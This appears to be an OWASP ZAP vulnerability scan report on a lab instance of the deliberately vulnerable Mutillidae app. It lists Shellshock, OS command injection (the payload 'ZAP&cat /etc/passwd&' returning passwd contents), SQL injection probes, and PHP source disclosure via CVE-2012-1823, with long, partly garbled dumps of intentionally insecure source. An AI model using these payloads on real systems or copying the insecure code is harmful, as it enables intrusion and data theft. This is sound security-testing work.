Other Info	From CVE-2014-6271: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
Instances	2
Solution	Update Bash on the server to the latest version.

Reference	https://nvd.nist.gov/vuln/detail/CVE-2014-6271 https://www.troyhunt.com/everything-you-need-to-know-about2/
CWE Id	78
WASC Id	31
Plugin Id	10048

High	Remote OS Command Injection
Description	Attack technique used for unauthorized execution of operating system commands. This attack is possible when an application accepts untrusted input to build operating system commands in an insecure manner involving improper data sanitization, and/or improper calling of external programs.
URL	http://192.168.56.104/mutillidae/index.php?page=dns-lookup.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button, target_host)
Method	POST
Attack	ZAP&cat /etc/passwd&
Evidence	root:x:0:0
Other Info	The scan rule was able to retrieve the content of a file or command by sending [ZAP&cat /etc/passwd&] to the operating system running this application.
Instances	1
	If at all possible, use library calls rather than external processes to recreate the desired functionality. Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the command locally in the session's state instead of sending it out to the client in a hidden form field. Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. If you need to use dynamically-generated query strings or commands in spite of the risk, properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allow list (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection. If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line. If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Solution	Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the <code>system()</code> function accepts a string that contains the entire command to be executed, whereas <code>execl()</code>, <code>execve()</code>, and others require an array of strings, one for each argument. In Windows, <code>CreateProcess()</code> only accepts one command at a time. In Perl, if <code>system()</code> is provided with an array of arguments, then it will quote each of the arguments. Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." When constructing OS command strings, use stringent allow lists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Reference	https://cwe.mitre.org/data/definitions/78.html https://owasp.org/www-community/attacks/Command_Injection
CWE Id	78
WASC Id	31
Plugin Id	90020

High	SQL Injection - MySQL
Description	SQL injection may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=%27&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button, username)
Method	GET
Attack	'
Evidence	You have an error in your SQL syntax

Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=%27
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button,username)
Method	GET
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button, blog_entry,csrf-token)
Method	POST
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=register.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=register.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	'

Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	'
Evidence	You have an error in your SQL syntax
Other Info	RDBMS [MySQL] likely, given error message regular expression [QYou have an error in your SQL syntax\E] matched by the HTML results. The vulnerability was detected by manipulating the parameter to cause a database error message to be returned and recognised.
Instances	10
	Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side.

Solution	If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'
	If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.
	If database Stored Procedures can be used, use them.
	Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!
	Do not create dynamic SQL queries using simple string concatenation.
	Escape all data received from the client.
	Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.
	Apply the principle of least privilege by using the least privileged database user possible.
Reference	In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.
	Grant the minimum database access that is necessary for the application.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40018

High	SQL Injection - SQLite (Time Based)
Description	SQL injection may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=html5-storage.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(DOMStorageItem,DOMStorageKey,SessionStorageType)
Method	POST
Attack	case randblob(100000) when not null then 1 else 1 end
Evidence	
Other Info	The query time is controllable using parameter value [case randblob(100000) when not null then 1 else 1 end], which caused the request to take [369] milliseconds, parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [990] milliseconds, when the original unmodified query with value [ZAP] took [190] milliseconds.
Instances	1
Solution	Do not trust client side input, even if there is client side validation in place.
	In general, type check all data on the server side.
	If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'
	If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.
	If database Stored Procedures can be used, use them.
	Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!
Solution	Do not create dynamic SQL queries using simple string concatenation.

	Escape all data received from the client. Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input. Apply the principle of least privilege by using the least privileged database user possible. In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact. Grant the minimum database access that is necessary for the application.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40024

High	Source Code Disclosure - CVE-2012-1823
Description	Some PHP versions, when configured to run using CGI, do not correctly handle query strings that lack an unescaped "=" character, enabling PHP source code disclosure, and arbitrary code execution. In this case, the contents of the PHP file were served directly to the web browser. This output will typically contain PHP, although it may also contain straight HTML.
URL	http://192.168.56.104/mutillidae/?-s
Node Name	http://192.168.56.104/mutillidae/ (-s)
Method	GET
Attack	
Evidence	<pre> <?php /* ----- * Constants used in application * ----- */ include_once './includes/constants.php'; /* ----- * INITIALIZE SESSION * ----- */ //initialize session if (strlen(session_id()) == 0){ session_start(); }// end if // ----- // initialize showhints session and cookie // ----- /* This code is here to create a simulated vulnerability. Some * sites put authorication and status tokens in cookies instead * of the session. This is a mistake. The user controls the * cookies entirely. */ if (isset(\$_COOKIE["showhints"])){ \$_showhints_cookie = \$_COOKIE["showhints"]; }else{ \$_showhints_cookie = 0; }// end if // make session = cookie \$_SESSION["showhints"] = \$_showhints_cookie; switch (\$_showhints_cookie){ case 0: \$_SESSION["hints-enabled"] = "Disabled (" . \$_showhints_cookie . " - I try harder)"; break; case 1: \$_SESSION["hints-enabled"] = "Enabled (" . \$_showhints_cookie . " - 5cr1pt K1dd1e)"; break; case 2: \$_SESSION["hints- enabled"] = "Enabled (" . \$_showhints_cookie . " - Noob)"; break; }// end switch // initialize security level to "insecure" if (!isset(\$_SESSION['security-level'])){ \$_SESSION['security- level'] = '0'; }// end if // user is logged out by default if (!isset(\$_SESSION["loggedin"])){ \$_SESSION['loggedin'] = 'False'; \$_SESSION['logged_in_user'] = ""; \$_SESSION ['logged_in_usersignature'] = ""; }// end if if (!isset(\$_SESSION["hints-enabled"])){ \$_SESSION["hints-enabled"] = "Disabled"; }// end if /* ----- * initialize OWASP ESAPI for PHP * ----- */ require_once 'owasp- esapi-php/src/ESAPI.php'; if (!isset(\$ESAPI)){ \$ESAPI = new ESAPI('owasp-esapi-php/src /ESAPI.xml'); \$Encoder = \$ESAPI->getEncoder(); \$ESAPIRandomizer = \$ESAPI- >getRandomizer(); }// end if /* ----- * initialize custom error handler * ----- */ require_once 'classes/CustomErrorHandler. php'; if (!isset(\$CustomErrorHandler)){ \$CustomErrorHandler = new CustomErrorHandler ("owasp-esapi-php/src/", \$_SESSION["security-level"]); }// end if /* ----- * initialize log error handler * ----- */ require_once 'classes/LogHandler.php'; if (!isset (\$LogHandler)){ \$LogHandler = new LogHandler("owasp-esapi-php/src/", \$_SESSION ['security-level']); }// end if /* ----- * INITIALIZE DATABASE * ----- */ require_once 'config.inc'; require_once 'opendb.inc'; /* </pre>

Other
Info

```
----- * PROCESS REQUESTS * -----
*/ if (isset($_GET["do"])){ include ("process-commands.php"); }// end if // detect and process
login attempt if (isset($_POST["login-php-submit-button"])){ include ("process-login-attempt.
php"); }// end if /* ----- * END PROCESS REQUESTS *
----- */ /* ----- * REACT TO CLIENT
SIDE CHANGES * ----- */ switch ($_SESSION["security-level"]){
case "0": // This code is insecure case "1": // This code is insecure /* Use the clients
authorization token which is stored in * the cookie (in this case). Placing authorization
tokens * on the client is fairly ridiculous. * * Known Vulnerabilities: SQL Injection,
Authorization Bypass, Session Fixation, * Lack of custom error page, Application Exception
*/ if (isset($_COOKIE["uid"])){ try { $query = "SELECT * FROM accounts WHERE cid=" .
$_COOKIE["uid"] . ""'; $result = $conn->query($query); if (!$result) { throw (new Exception
('Error executing query: '. $conn->error, $conn->errno)); }// end if // Switch to whatever
cookie the user sent to simulate sites // that use client-side authorization tokens. Auth
information // should never be in cookies. if ($result->num_rows > 0) { $row = $result-
>fetch_object(); $_SESSION['loggedin'] = 'True'; $_SESSION['uid'] = $row->cid;
$_SESSION['logged_in_user'] = $row->username; $_SESSION['logged_in_usersignature']
= $row->mysignature; $_SESSION['is_admin'] = $row->is_admin; header('Logged-In-User:
' . $_SESSION['logged_in_user'], true); }// end if ($result->num_rows > 0) } catch (Exception
$e) { echo $CustomErrorHandler->FormatError($e, $query); }// end try }else{ /* * Output the
user's login name into a custom header * * Known Vulnerability: Potential HTTP Response
Splitting * (PHP defends itself against HTTP response splitting by * filtering "new line"
characters) */ header('Logged-In-User: ' . $_SESSION['logged_in_user'], true); }// end if
break; case "2": case "3": case "4": case "5": // This code is fairly secure /* If we are secure,
then we do not rely on any client input * to make authorization decisions. Authorization
tokens should * never be stored on the client. We use the SESSION in secure mode. * *
Also, when we create an HTTP header, we encode any output to * prevent response
splitting. The critical chars in response splitting * are CR-LF. Dont fall for filtering. Just
encode it all. */ header('Logged-In-User: ' . $Encoder->encodeForHTML($_SESSION
['logged_in_user']), TRUE); break; }// end switch /* ----- * END
REACT TO CLIENT SIDE CHANGES * ----- */ /*
----- * ANTI-CLICK-JACKING (Modern Browsers) *
----- */ switch ($_SESSION["security-level"]){ case "0": // This
code is insecure $IncludeFrameBustingJavaScript = FALSE; break; case "1":
$IncludeFrameBustingJavaScript = TRUE; break; case "2": case "3": case "4": case "5": //
This code is fairly secure /* To prevent click-jacking and IE6 key-log-via-framing issue * we
can instruct the browser that it should not frame our site. * Unfortunately only the latest
browsers support this option. * There are javascript frame-buster options that work
reasonably well * although the arms race continues. Use the x-frame-options as the *
primary defense and include the javascript frame-buster to help * with older browsers. */
header('X-FRAME-OPTIONS: DENY', TRUE); $IncludeFrameBustingJavaScript = TRUE;
break; }// end switch /* ----- * END ANTI-CLICK-JACKING
(Modern Browsers) * ----- */ /* ----- *
CACHE CONTROL * ----- */ try{ /* * This section detects if the
header_remove() function should * be supported. PHP 5.3 first includes this function. */
$_header_remove_supported = FALSE; $_phpversion = explode(".", phpversion());
$_phpmajorversion = (int)$_phpversion[0]; $_phpminorversion = (int)$_phpversion[1]; if
((($_phpmajorversion >= 5 && $_phpminorversion >= 3) || $_phpmajorversion > 5){
$_header_remove_supported = TRUE; }else{ $_header_remove_supported = FALSE; }//
end if } catch (Exception $e) { //Bummer: Not sure if we have support
$_header_remove_supported = FALSE; }// end try switch ($_SESSION["security-level"]){
case "0": // This code is insecure case "1": // This code is insecure try{ /* * This section is
the cache-control. This only works in PHP 5.3 * and higher due to the header_remove
function becoming * available at that time. */ if ($_header_remove_supported){ /* Try to get
rid of expires, last-modified, Pragma, * cache control header, HTTP/1.1 and cookie cache
control * that would be created if the user * enabled security level 5. */ header_remove
("Expires"); header_remove("Last-Modified"); header_remove("Cache-Control");
header_remove("Pragma"); }else{ /* Try to get rid of expires, last-modified, Pragma, * cache
control header, HTTP/1.1 and cookie cache control * that would be created if the user *
enabled security level 5. */ /*This line causes severe issues with the toggle security and
toggle hints. DO NOT uncomment until a patch is found. header("Expires: Mon, 26 Jul 2050
05:00:00 GMT", TRUE); */ header("Last-Modified: Mon, 26 Jul 2050 05:00:00 GMT",
TRUE); header('Cache-Control: public', TRUE); header("Pragma: public", TRUE); }// end if }
catch (Exception $e) { //Bummer: The cahce-control exercise are not working }// end try
break; case "2": case "3": case "4": case "5": // This code is fairly secure /* * Forms caching:
* In insecure mode, we do nothing (as is often the case with insecure mode) * In secure
mode, we set the proper caching directives to help prevent client side caching * * When the
browser caches the information asset just walked out the door. HTML 5 combined * with
```

```

naive developers is going to make this problem much worse. HTML 5 includes advanced *
cookies called "offline" storage or "DOM" storage. This is going to be a nightmare * for
enterprises to protect their data from leakage. */ // Expires: past date tells browser that file is
out of date header("Expires: Mon, 26 Jul 1997 05:00:00 GMT", TRUE); // Always modified -
Tells browser that new content available header("Last-Modified: " . gmdate("D, d M Y H:i:s")
. " GMT", TRUE); // HTTP/1.1 and cookie cache control header('Cache-Control: no-store,
no-cache, must-revalidate, post-check=0, pre-check=0, no-cache="set-cookie"', TRUE); //
HTTP/1.0 cache-control header("Pragma: no-cache", TRUE); try{ /* * Remove x-powered-
by header and server header for security. * Server is hard to get rid of without modifying the
Apache config because Apache * adds the header after the PHP has already been
rendered and sent to Apache, * but atleast we discussed it here. */ if
($!_header_remove_supported){ header_remove("X-Powered-By"); header_remove
("Server"); }else{ /* Try to get rid of expires, last-modified, Pragma, * cache control header,
HTTP/1.1 and cookie cache control * that would be created if the user * enabled security
level 5. Server is often over-ridden * by Apache no matter what we do. Change Apache
config to fix. */ header("X-Powered-By: Ming Industries Draconian Power Ring", TRUE);
header("Server: Kentucky Wildcat Basketball", TRUE); }// end if } catch (Exception $e) {
//Bummer: The server blabbermouth defense is not working }// end try break; }// end switch
/* ----- * END CACHE CONTROL *
----- */ /* ----- * HTML\JAVASCRIPT
COMMENTS * ----- */ /* In general, HTML and JavaScript
comments are to * be avoided. Commenting is an excellent practice, * but the comments
should be kept on the server * where they belong. To accomplish this, simply * use the
frameworks comment tags rather than * the HTML and JavaScript style comments. */ switch
($_SESSION["security-level"]){ case "0": // This code is insecure case "1": echo '<!-- I think
the database password is set to blank or perhaps samurai. It depends on whether you
installed this web app from irongeeks site or are using it inside Kevin Johnsons Samurai
web testing framework. It is ok to put the password in HTML comments because no user
will ever see this comment. I remember that security instructor saying we should use the
framework comment symbols (ASP.NET, JAVA, PHP, Etc.) rather than HTML comments,
but we all know those security instructors are just making all this up. -->'; break; case "2":
case "3": case "4": case "5": // This code is fairly secure /* * Note: Notice these are PHP
comments rather than client side comments. * I think the database password is set to blank
or perhaps samurai. */ break; }// end switch /* ----- * END
HTML\JAVASCRIPT COMMENTS * ----- */ /*
----- * DISPLAY PAGE * ----- */ /*
----- * "PAGE" VARIABLE INJECTION *
----- */ $!Page = "home.php"; switch ($_SESSION["security-
level"]){ case "0": // This code is insecure case "1": // This code is insecure // Get the value
of the "page" URL query parameter if (isset($_REQUEST["page"])) { $!Page = $_REQUEST
["page"]; }// end if break; case "2": case "3": case "4": case "5": // This code is fairly secure /*
To prevent page injection, we start with the basic priciple * of "DENY ALL". We decide to
allow only the characters absoolutely * neccessary to spell the Mutillidae file names. This
requires * alpha, hyphen, and period. */ // Get the value of the "page" URL query parameter
without accepting POST. if (isset($_GET["page"])) { $!Page = $_GET["page"]; }// end if
$!PageIsAllowed = (preg_match("/^[a-zA-Z0-9\.\-]+$/", $!Page) == 1); if (!$!PageIsAllowed){
$!Page = "page-not-found.php"; }// end if break; }// end switch /*
----- * END "PAGE" VARIABLE INJECTION *
----- */ /* ----- * SIMULATE
"SECRET" PAGES * ----- */ switch ($!Page){ case "secret.php":
case "admin.php": case "_adm.php": case "_admin.php": case "root.php": case
"administrator.php": case "auth.php": case "hidden.php": case "console.php": case "conf.
php": case "_private.php": case "private.php": case "access.php": case "control.php": case
"control-panel.php": switch ($_SESSION["security-level"]){ case "0": // This code is insecure
case "1": // This code is insecure $!Page="phpinfo.php"; break; case "2": case "3": case "4":
case "5": // This code is fairly secure /* To prevent unauthorized access, we start with the
basic priciple * of "DENY ALL". */ $!UserAuthorized = FALSE; if(isset($_SESSION
["is_admin"]){ if($_SESSION["is_admin"] == 'TRUE'){ $!UserAuthorized = TRUE; }// end if
is_admin }// end if isseet $_SESSION["is_admin"] if($!UserAuthorized){ $!Page="phpinfo.
php"; }else{ $!Page="authorization-required.php"; }// end if $!UserAuthorized break;//case 5 }
// end switch break; default:break; }//end switch on page /* ----- *
END SIMULATE "SECRET" PAGES * ----- */ /*
----- * BEGIN OUTPUT RESPONSE *
----- */ if (strlen($!Page)==0 || !isset($!Page)){ include ("header.
php"); include("home.php"); include ("footer.php"); } elseif ($!Page=="rene-magritte.php") {
/* This page is our framing demonstration. * The page goes in an iframe so we dont want to
* show the header and footer again. They will * already show in the outer frame. */ include
($!Page); } else { include ("header.php"); include ($!Page); include ("footer.php"); }// end if /*

```

	<pre> ----- * Anti-framing protection (Older Browsers) * ----- */ if (\$!IncludeFrameBustingJavaScript){ require_once ("./includes/anti-framing-protection.inc"); }// end if /* ----- * LOG USER VISIT TO PAGE * ----- */ require_once ("log-visit.php"); /* ----- * CLOSE DATABASE CONNECTION * ----- */ require_once ("closedb.inc"); require_once ("./includes /create-html-5-web-storage-target.inc"); ?> </pre>
URL	http://192.168.56.104/mutillidae/index.php?s
Node Name	http://192.168.56.104/mutillidae/index.php (-s)
Method	GET
Attack	
Evidence	
	<pre> <?php /* ----- * Constants used in application * ----- */ include_once './includes/constants.php'; /* ----- * INITIALIZE SESSION * ----- */ //initialize session if (strlen(session_id()) == 0){ session_start(); }// end if // ----- // initialize showhints session and cookie // ----- /* This code is here to create a simulated vulnerability. Some * sites put authorication and status tokens in cookies instead * of the session. This is a mistake. The user controls the * cookies entirely. */ if (isset(\$_COOKIE["showhints"])){ \$_showhints_cookie = \$_COOKIE["showhints"]; }else{ \$_showhints_cookie = 0; }// end if // make session = cookie \$_SESSION["showhints"] = \$_showhints_cookie; switch (\$_showhints_cookie){ case 0: \$_SESSION["hints-enabled"] = "Disabled (" . \$_showhints_cookie . " - I try harder)"; break; case 1: \$_SESSION["hints-enabled"] = "Enabled (" . \$_showhints_cookie . " - 5cr1pt K1dd1e)"; break; case 2: \$_SESSION["hints- enabled"] = "Enabled (" . \$_showhints_cookie . " - Noob)"; break; }// end switch // initialize security level to "insecure" if (!isset(\$_SESSION["security-level"])){ \$_SESSION["security- level"] = '0'; }// end if // user is logged out by default if (isset(\$_SESSION["loggedin"])){ \$_SESSION["loggedin"] = 'False'; \$_SESSION["logged_in_user"] = ""; \$_SESSION ["logged_in_usersignature"] = ""; }// end if if (isset(\$_SESSION["hints-enabled"])){ \$_SESSION["hints-enabled"] = "Disabled"; }// end if /* ----- * initialize OWASP ESAPI for PHP * ----- */ require_once 'owasp- esapi-php/src/ESAPI.php'; if (!isset(\$ESAPI)){ \$ESAPI = new ESAPI('owasp-esapi-php/src /ESAPI.xml'); \$Encoder = \$ESAPI->getEncoder(); \$ESAPIRandomizer = \$ESAPI- >getRandomizer(); }// end if /* ----- * initialize custom error handler * ----- */ require_once 'classes/CustomErrorHandler. php'; if (!isset(\$CustomErrorHandler)){ \$CustomErrorHandler = new CustomErrorHandler ("owasp-esapi-php/src/", \$_SESSION["security-level"]); }// end if /* ----- * initialize log error handler * ----- */ require_once 'classes/LogHandler.php'; if (isset (\$LogHandler)){ \$LogHandler = new LogHandler("owasp-esapi-php/src/", \$_SESSION ["security-level"]); }// end if /* ----- * INITIALIZE DATABASE * ----- */ require_once 'config.inc'; require_once 'opendb.inc'; /* ----- * PROCESS REQUESTS * ----- */ if (isset(\$_GET["do"])){ include ("process-commands.php"); }// end if // detect and process login attempt if (isset(\$_POST["login-php-submit-button"])){ include ("process-login-attempt. php"); }// end if /* ----- * END PROCESS REQUESTS * ----- */ /* ----- * REACT TO CLIENT SIDE CHANGES * ----- */ switch (\$_SESSION["security-level"]){ case "0": // This code is insecure case "1": // This code is insecure /* Use the clients authorization token which is stored in * the cookie (in this case). Placing authorization tokens * on the client is fairly ridiculous. * * Known Vulnerabilities: SQL Injection, Authorization Bypass, Session Fixation, * Lack of custom error page, Application Exception */ if (isset(\$_COOKIE["uid"])){ try { \$query = "SELECT * FROM accounts WHERE cid=" . \$_COOKIE["uid"] . ""'; \$result = \$conn->query(\$query); if (!\$result) { throw (new Exception ('Error executing query: ' . \$conn->error, \$conn->errorno)); }// end if // Switch to whatever cookie the user sent to simulate sites // that use client-side authorization tokens. Auth information // should never be in cookies. if (\$result->num_rows > 0) { \$row = \$result- >fetch_object(); \$_SESSION["loggedin"] = 'True'; \$_SESSION["uid"] = \$row->cid; \$_SESSION["logged_in_user"] = \$row->username; \$_SESSION["logged_in_usersignature"] = \$row->mysignature; \$_SESSION["is_admin"] = \$row->is_admin; header('Logged-In-User: ' . \$_SESSION["logged_in_user"], true); }// end if (\$result->num_rows > 0) } catch (Exception \$e) { echo \$CustomErrorHandler->FormatError(\$e, \$query); }// end try }else{ /* * Output the </pre>

Other
Info

```
user's login name into a custom header * * Known Vulnerability: Potential HTTP Response
Splitting * (PHP defends itself against HTTP response splitting by * filtering "new line"
characters) */ header('Logged-In-User: '.$_SESSION['logged_in_user'], true); }// end if
break; case "2": case "3": case "4": case "5": // This code is fairly secure /* If we are secure,
then we do not rely on any client input * to make authorization decisions. Authorization
tokens should * never be stored on the client. We use the SESSION in secure mode. * *
Also, when we create an HTTP header, we encode any output to * prevent response
splitting. The critical chars in response splitting * are CR-LF. Dont fall for filtering. Just
encode it all. */ header('Logged-In-User: '.$_Encoder->encodeForHTML($_SESSION
['logged_in_user']), TRUE); break; }// end switch /* ----- * END
REACT TO CLIENT SIDE CHANGES * ----- *//*
----- * ANTI-CLICK-JACKING (Modern Browsers) *
----- */ switch ($_SESSION['security-level']){ case "0": // This
code is insecure $!IncludeFrameBustingJavaScript = FALSE; break; case "1":
$!IncludeFrameBustingJavaScript = TRUE; break; case "2": case "3": case "4": case "5": //
This code is fairly secure /* To prevent click-jacking and IE6 key-log-via-framing issue * we
can instruct the browser that it should not frame our site. * Unfortunately only the latest
browsers support this option. * There are javascript frame-buster options that work
reasonably well * although the arms race continues. Use the x-frame-options as the *
primary defense and include the javascript frame-buster to help * with older browsers. */
header('X-FRAME-OPTIONS: DENY', TRUE); $!IncludeFrameBustingJavaScript = TRUE;
break; }// end switch /* ----- * END ANTI-CLICK-JACKING
(Modern Browsers) * ----- *//* -----
CACHE CONTROL * ----- */ try{ /* * This section detects if the
header_remove() function should * be supported. PHP 5.3 first includes this function. */
$_header_remove_supported = FALSE; $_phpversion = explode(".", phpversion());
$_phpmajorversion = (int)$_phpversion[0]; $_phpminorversion = (int)$_phpversion[1]; if
(($$_phpmajorversion >= 5 && $_phpminorversion >= 3) || $_phpmajorversion > 5){
$_header_remove_supported = TRUE; }else{ $_header_remove_supported = FALSE; }//
end if } catch (Exception $e) { //Bummer: Not sure if we have support
$_header_remove_supported = FALSE; }// end try switch ($_SESSION['security-level']){
case "0": // This code is insecure case "1": // This code is insecure try{ /* * This section is
the cache-control. This only works in PHP 5.3 * and higher due to the header_remove
function becoming * available at that time. */ if ($_header_remove_supported){ /* Try to get
rid of expires, last-modified, Pragma, * cache control header, HTTP/1.1 and cookie cache
control * that would be created if the user * enabled security level 5. */ header_remove
("Expires"); header_remove("Last-Modified"); header_remove("Cache-Control");
header_remove("Pragma"); }else{ /* Try to get rid of expires, last-modified, Pragma, * cache
control header, HTTP/1.1 and cookie cache control * that would be created if the user *
enabled security level 5. */ /*This line causes severe issues with the toggle security and
toggle hints. DO NOT uncomment until a patch is found. header("Expires: Mon, 26 Jul 2050
05:00:00 GMT", TRUE); */ header("Last-Modified: Mon, 26 Jul 2050 05:00:00 GMT",
TRUE); header('Cache-Control: public', TRUE); header('Pragma: public', TRUE); }// end if }
catch (Exception $e) { //Bummer: The cahce-control exercise are not working }// end try
break; case "2": case "3": case "4": case "5": // This code is fairly secure /* * Forms caching:
* In insecure mode, we do nothing (as is often the case with insecure mode) * In secure
mode, we set the proper caching directives to help prevent client side caching * * When the
browser caches the information asset just walked out the door. HTML 5 combined * with
